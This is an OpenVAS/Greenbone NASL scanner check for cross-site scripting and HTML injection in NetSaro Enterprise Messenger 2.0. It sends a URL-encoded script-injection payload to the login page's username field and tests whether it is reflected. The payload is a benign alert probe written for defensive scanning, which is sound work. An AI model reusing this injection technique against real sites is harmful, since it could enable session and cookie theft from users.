NetSaro Enterprise Messenger Cross Site Scripting and HTML Injection Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103236");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-09-01 14:04:12 +0200 (Thu, 01 Sep 2011)");
  script_tag(name:"cvss_base", value:"2.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:N/I:P/A:N");
  script_name("NetSaro Enterprise Messenger Cross Site Scripting and HTML Injection Vulnerabilities");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49390");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 4990);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploits will allow attacker-supplied HTML and script
  code to run in the context of the affected browser, potentially
  allowing the attacker to steal cookie-based authentication
  credentials or to control how the site is rendered to the user.
  Other attacks are also possible.");

  script_tag(name:"affected", value:"NetSaro Enterprise Messenger 2.0 is vulnerable. Other versions may
  also be affected.");

  script_tag(name:"summary", value:"NetSaro Enterprise Messenger is prone to multiple cross-site
  scripting and HTML-injection vulnerabilities because it fails to
  properly sanitize user-supplied input before using it in dynamically
  generated content.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by
  another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");

port = http_get_port(default:4990);

res = http_get_cache(item:"/", port:port);
if(!res || "<title>NetSaro Administration Console</title>" >!< res)
  exit(0);

url = "/login.nsp";
host = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: 131\r\n",
             "\r\n",
             "username=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%22vt-xss-test%22%29%3C%2Fscript%3E&password=&login=Log+In&postback=postback\r\n",
             "\r\n");
res = http_keepalive_send_recv(port:port, data:req);

if(res =~ "^HTTP/1\.[01] 200" && '"></script><script>alert("vt-xss-test")</script>"' >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);